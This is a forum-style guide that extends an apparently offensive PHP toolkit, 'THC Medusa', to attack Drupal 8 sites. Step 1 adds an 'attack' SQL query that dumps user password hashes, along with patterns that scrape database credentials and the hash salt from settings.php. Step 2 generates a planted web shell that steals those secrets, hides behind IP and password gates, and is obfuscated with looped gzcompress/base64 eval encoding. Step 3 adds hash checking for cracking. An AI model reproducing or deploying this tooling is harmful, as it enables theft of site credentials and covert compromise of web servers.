Drupal 8 support for THC Medusa

Step 1:

Save the data below as /forums/drupal/drupalc.php

<?php

class Crypt {

public static function randomBytes($count) {

return random_bytes($count);

}

public static function hmacBase64($data, $key) {

if (!is_scalar($data) || !is_scalar($key)) {

throw new \InvalidArgumentException('Both parameters passed to \Drupal\Component\Utility\Crypt::hmacBase64 must be scalar values.');

}

$hmac = base64_encode(hash_hmac('sha256', $data, $key, TRUE));

return str_replace(['+', '/', '='], ['-', '_', ''], $hmac);

}

public static function hashBase64($data) {

$hash = base64_encode(hash('sha256', $data, TRUE));

return str_replace(['+', '/', '='], ['-', '_', ''], $hash);

}

public static function hashEquals($known_string, $user_string) {

if (function_exists('hash_equals')) {

return hash_equals($known_string, $user_string);

}

else {

if (!is_string($known_string)) {

trigger_error(sprintf("Expected known_string to be a string, %s given", gettype($known_string)), E_USER_WARNING);

return FALSE;

}

if (!is_string($user_string)) {

trigger_error(sprintf("Expected user_string to be a string, %s given", gettype($user_string)), E_USER_WARNING);

return FALSE;

}

$known_len = strlen($known_string);

if ($known_len !== strlen($user_string)) {

return FALSE;

}

$result = 0;

for ($i = 0; $i < $known_len; $i++) {

$result |= (ord($known_string[$i]) ^ ord($user_string[$i]));

}

return $result === 0;

}

}

public static function randomBytesBase64($count = 32) {

return str_replace(['+', '/', '='], ['-', '_', ''], base64_encode(static::randomBytes($count)));

}

}

class PhpassHashedPassword implements PasswordInterface {

const MIN_HASH_COUNT = 7;

const MAX_HASH_COUNT = 30;

const HASH_LENGTH = 55;

public static $ITOA64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';

protected $countLog2;

function __construct($countLog2) {

$this->countLog2 = $this->enforceLog2Boundaries($countLog2);

}

protected function base64Encode($input, $count) {

$output = '';

$i = 0;

do {

$value = ord($input[$i++]);

$output .= static::$ITOA64[$value & 0x3f];

if ($i < $count) {

$value |= ord($input[$i]) << 8;

}

$output .= static::$ITOA64[($value >> 6) & 0x3f];

if ($i++ >= $count) {

break;

}

if ($i < $count) {

$value |= ord($input[$i]) << 16;

}

$output .= static::$ITOA64[($value >> 12) & 0x3f];

if ($i++ >= $count) {

break;

}

$output .= static::$ITOA64[($value >> 18) & 0x3f];

} while ($i < $count);

return $output;

}

protected function generateSalt() {

$output = '$S$';

$output .= static::$ITOA64[$this->countLog2];

$output .= $this->base64Encode(Crypt::randomBytes(6), 6);

return $output;

}

protected function enforceLog2Boundaries($count_log2) {

if ($count_log2 < static::MIN_HASH_COUNT) {

return static::MIN_HASH_COUNT;

}

elseif ($count_log2 > static::MAX_HASH_COUNT) {

return static::MAX_HASH_COUNT;

}

return (int) $count_log2;

}

protected function crypt($algo, $password, $setting) {

if (strlen($password) > PasswordInterface::PASSWORD_MAX_LENGTH) {

return FALSE;

}

$setting = substr($setting, 0, 12);

if ($setting[0] != '$' || $setting[2] != '$') {

return FALSE;

}

$count_log2 = $this->getCountLog2($setting);

if ($count_log2 != $this->enforceLog2Boundaries($count_log2)) {

return FALSE;

}

$salt = substr($setting, 4, 8);

if (strlen($salt) != 8) {

return FALSE;

}

$count = 1 << $count_log2;

$hash = hash($algo, $salt . $password, TRUE);

do {

$hash = hash($algo, $hash . $password, TRUE);

} while (--$count);

$len = strlen($hash);

$output = $setting . $this->base64Encode($hash, $len);

$expected = 12 + ceil((8 * $len) / 6);

return (strlen($output) == $expected) ? substr($output, 0, static::HASH_LENGTH) : FALSE;

}

public function getCountLog2($setting) {

return strpos(static::$ITOA64, $setting[3]);

}

public function hash($password) {

return $this->crypt('sha512', $password, $this->generateSalt());

}

public function check($password, $hash) {

if (substr($hash, 0, 2) == 'U$') {

$stored_hash = substr($hash, 1);

$password = md5($password);

}

else {

$stored_hash = $hash;

}

$type = substr($stored_hash, 0, 3);

switch ($type) {

case '$S$':

// A normal Drupal 7 password using sha512.

$computed_hash = $this->crypt('sha512', $password, $stored_hash);

break;

case '$H$':

// phpBB3 uses "$H$" for the same thing as "$P$".

case '$P$':

// A phpass password generated using md5. This is an

// imported password or from an earlier Drupal version.

$computed_hash = $this->crypt('md5', $password, $stored_hash);

break;

default:

return FALSE;

}

return $computed_hash && Crypt::hashEquals($stored_hash, $computed_hash);

}

}

interface PasswordInterface {

const PASSWORD_MAX_LENGTH = 512;

public function hash($password);

public function check($password, $hash);

}

/* Drupal */

$_PROPERTIES = array();

$_PROPERTIES['name'] = "Drupal8";

$_PROPERTIES['version'] = "8.x";

$_PROPERTIES['usernamefield'] = "name";

$_PROPERTIES['emailfield'] = "mail";

$_PROPERTIES['hashfield'] = "pass";

$_PROPERTIES['tablename'] = "users_field_data";

$_PROPERTIES['tableprefix'] = "drli_";

$_PROPERTIES['filename'] = "drupal/drupalc.php";

// use post variables instead if values are different from default

if(isset($_POST['iUseDefault']) && $_POST['iUseDefault']==0){

$_PROPERTIES['usernamefield'] = @mysql_real_escape_string($_POST['sUserNameField']);

$_PROPERTIES['emailfield'] = @mysql_real_escape_string($_POST['sEmailField']);

$_PROPERTIES['hashfield'] = @mysql_real_escape_string($_POST['sHashField']);

$_PROPERTIES['tablename'] = @mysql_real_escape_string($_POST['sTableName']);

$_PROPERTIES['tableprefix'] = @mysql_real_escape_string($_POST['sTablePrefix']);

}

$_PROPERTIES['queryraw'] = array();

$_PROPERTIES['queryraw']['attack'] = "SELECT ".$_PROPERTIES['usernamefield']." AS crackuser,".$_PROPERTIES['hashfield']." AS crackpass".(isset($_PROPERTIES['saltfield']) ? ",".$_PROPERTIES['saltfield']." AS crackhash" : "")." FROM ".$_PROPERTIES['tableprefix'].$_PROPERTIES['tablename']." WHERE ".$_PROPERTIES['usernamefield']."<>''";

$_PROPERTIES['queryraw']['getemail'] = "SELECT ".$_PROPERTIES['emailfield']." AS temail FROM ".$_PROPERTIES['tableprefix'].$_PROPERTIES['tablename']." WHERE ".$_PROPERTIES['usernamefield']."='/user/'";

if(isset($_GET['JSON'])){

session_cache_limiter('nocache');

header('Expires: '.gmdate('r',0));

header('Content-type: application/json');

echo json_encode($_PROPERTIES);

}

$_SYSTEM = array();

$_SYSTEM['name'] = $_PROPERTIES['name'];

$_SYSTEM['version'] = $_PROPERTIES['version'];

$_SYSTEM['patterns'] = array();

$_SYSTEM['patterns']['user'] = '/\'username\'\s+=>\s+\'(.*)?\'/';

$_SYSTEM['patterns']['password'] = '/\'password\'\s+=>\s+\'(.*)?\'/';

$_SYSTEM['patterns']['host'] = '/\'host\'\s+=>\s+\'(.*)?\'/';

$_SYSTEM['patterns']['database'] = '/\'database\'\s+=>\s+\'(.*)?\'/';

$_SYSTEM['patterns']['prefix'] = '/\'prefix\'\s+=>\s+\'(.*)?\'/';

$_SYSTEM['patterns']['salt'] = '/\$settings[\'hash_salt\']\s+=\s+\'.*\'/';

$_SYSTEM['file'] = "sites/default/settings.php";

?>

step 2:

Replace the MedusaShell function in crackmeclass.php with:

/* creates a medusa shell */

function MedusaShell($aSystem,$aOptions){

$sShell = "set_time_limit(0);\n";

$sTemplate = "";

if(isset($aOptions['ip'])){

// ip protection

$sShell .= "if(\$_SERVER['REMOTE_ADDR']!=\"".$aOptions['ip']."\"){\n";

$sShell .= " header(\"Location: http://www.google.com\");\n";

$sShell .= " exit;\n";

$sShell .= "}\n";

}

if(isset($aOptions['pass'])){

// password protection

$sShell .= "if(!isset(\$_POST['sPass']) || sha1(\$_POST['sPass'])!=\"".sha1($aOptions['pass'])."\"){\n";

$sShell .= " echo'<html>\n";

$sShell .= " <head></head>\n";

$sShell .= " <body>\n";

$sShell .= " <form method=\"post\">\n";

$sShell .= " <input type=\"password\" name=\"sPass\" /> <input type=\"submit\" name=\"submit\" value=\"Submit\" />\n";

$sShell .= " </form>\n";

$sShell .= " </body>\n";

$sShell .= " </html>';\n";

$sShell .= " exit;\n";

$sShell .= "}\n";

}

// create shell based on system array

$sShell .= "\$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator(\$_SERVER['DOCUMENT_ROOT']),RecursiveIteratorIterator::CHILD_FIRST);\n";

$sShell .= "foreach(\$iterator as \$path){\n";

$sShell .= " if(!\$path->isDir()){\n";

$sShell .= " \$sPath = \$path->__toString();\n";

$sShell .= " \$sFile = \"".$aSystem['file']."\";\n";

$sShell .= " if(strtoupper(substr(PHP_OS,0,3))==='WIN'){\n";

$sShell .= " \$sFile = str_replace(\"/\",\"\\\\\",\$sFile);\n";

$sShell .= " }\n";

$sShell .= " if(strpos(\$sPath,\$sFile)!==false){\n";

$sShell .= " \$sData = file_get_contents(\$sPath);\n";

$sShell .= " preg_match('".str_replace("'","\'",$aSystem['patterns']['user'])."',\$sData,\$aUser);\n";

$sShell .= " if(!isset(\$aUser[1])){\n";

$sShell .= " continue;\n";

$sShell .= " }\n";

$sShell .= " preg_match('".str_replace("'","\'",$aSystem['patterns']['database'])."',\$sData,\$aDB);\n";

$sShell .= " preg_match('".str_replace("'","\'",$aSystem['patterns']['password'])."',\$sData,\$aPass);\n";

$sShell .= " preg_match('".str_replace("'","\'",$aSystem['patterns']['host'])."',\$sData,\$aHost);\n";

$sShell .= " if(isset(\$aSystem['patterns']['salt'])){\n";

$sShell .= " preg_match('".str_replace("'","\'",$aSystem['patterns']['salt'])."',\$sData,\$aSalt);\n";

$sShell .= " }\n";

$sShell .= " if(isset(\$aSystem['patterns']['prefix'])){\n";

$sShell .= " preg_match('".str_replace("'","\'",$aSystem['patterns']['prefix'])."',\$sData,\$aPrefix);\n";

$sShell .= " }\n";

$sShell .= " \$sResult = \"<b>user:</b> \".\$aUser[1].\"<br />\";\n";

$sShell .= " \$sResult .= \"<b>pass:</b> \".\$aPass[1].\"<br />\";\n";

$sShell .= " \$sResult .= \"<b>host:</b> \".\$aHost[1].\"<br />\";\n";

$sShell .= " \$sResult .= \"<b>database:</b> \".\$aDB[1].\"<br />\";\n";

$sShell .= " if(isset(\$aSystem['patterns']['prefix'])){\n";

$sShell .= " \$sResult .= \"<b>prefix:</b> \".\$aPrefix[1].\"<br />\";\n";

$sShell .= " }\n";

$sShell .= " if(isset(\$aSystem['patterns']['salt'])){\n";

$sShell .= " \$sResult .= \"<b>hash:</b> \".\$aSalt[1].\"<br />\";\n";

$sShell .= " }\n";

$sShell .= " die(\$sResult);\n";

$sShell .= " }\n";

$sShell .= " }\n";

$sShell .= "}\n";

$sShell .= "die(\"Failed to get login information.\");\n";

if(isset($aOptions['encrypt'])){

// source protection

if($aOptions['encrypt']=="normal"){

$sShell = "eval(base64_decode('".base64_encode($sShell)."'));\n";

}

else{

$sEncoder = "\$sPull = \"leverage the inflatable base 4/16 and_or gza jump to tor strings code compressing unescaped\";\n";

$sEncoder .= "\$aPull = explode(\" \",\$sPull);\n";

$sEncoder .= "\$aF = array();\n";

$sEncoder .= "\$aF[] = \$sPull[1].\$sPull[2].\$sPull[5].\$sPull[0];\n";//eval

$sEncoder .= "\$aF[] = substr(\$sPull,57,3).\$sPull[4].\$aF[0][0].\$aF[0][1];\n";//strrev

$sEncoder .= "\$aF[] = substr(\$sPull,41,2).substr(\$sPull,13,6).\$aF[0][0];\n";//gzinflate

$sEncoder .= "\$aF[] = \$aF[2][0].\$aF[2][1].\$sPull[(strpos(\$sPull,\"_\")-1)].\$aF[0][0].substr(\$aF[2],4);\n";//gzdeflate

$sEncoder .= "\$aF[] = \$aPull[3].str_replace(\"1/\",\"\",\$aF[1](\$aPull[4])).\"_\".\$aF[0][0].\$aF[2][3].\$aPull[11];\n";//base64_encode

$sEncoder .= "\$aF[] = substr(\$aF[4],0,7).\$aF[3][2].\$aF[0][0].substr(\$aF[4],9);\n";//base64_decode

$sEncoder .= "\$aF[] = substr(\$aF[3],0,2).substr(\$aPull[13],0,2).substr(\$aPull[12],0,8);\n";//gzuncompress

$sEncoder .= "\$aF[] = str_replace(substr(\$aPull[13],0,2),\"\",\$aF[6]);\n";//gzcompress

// encode and decode functions

$_ENCODE = array();

$_ENCODE[0] = array(7,"gzcompress");

$_ENCODE[1] = array(4,"base64_encode");

$_DECODE = array();

$_DECODE[0] = array(6,"gzuncompress");

$_DECODE[1] = array(5,"base64_decode");

// good luck decrypting the shell :p

$iEncryptions = count($_ENCODE)-1;

$iEncryptionLoops = mt_rand(120,150);

for($x=0;$x<$iEncryptionLoops;$x++){

$iEncryption = mt_rand(0,$iEncryptions);

$sShell = "\$aF[".$_ENCODE[$iEncryption][0]."]('".$_ENCODE[$iEncryption][1]($sShell)."')";

}

$sShell = $sEncoder.$sShell.";";

}

}

if(isset($aOptions['shellcreate'])){

// save source

return($this->WriteF($aOptions['shellcreate'],"<?php\n".$sShell."?>","w"));

}

else{

$sShell = str_replace("\n","<br />\n",htmlspecialchars("<?php\n".$sShell)."?>");

return($sShell);

}

}

step 3:

Add this to the UserLogin function:

case"Drupal8":

$cDrupal8 = new PhpassHashedPassword();

return($cDrupal8->check($sPass,$sHash) ? true : false);

break;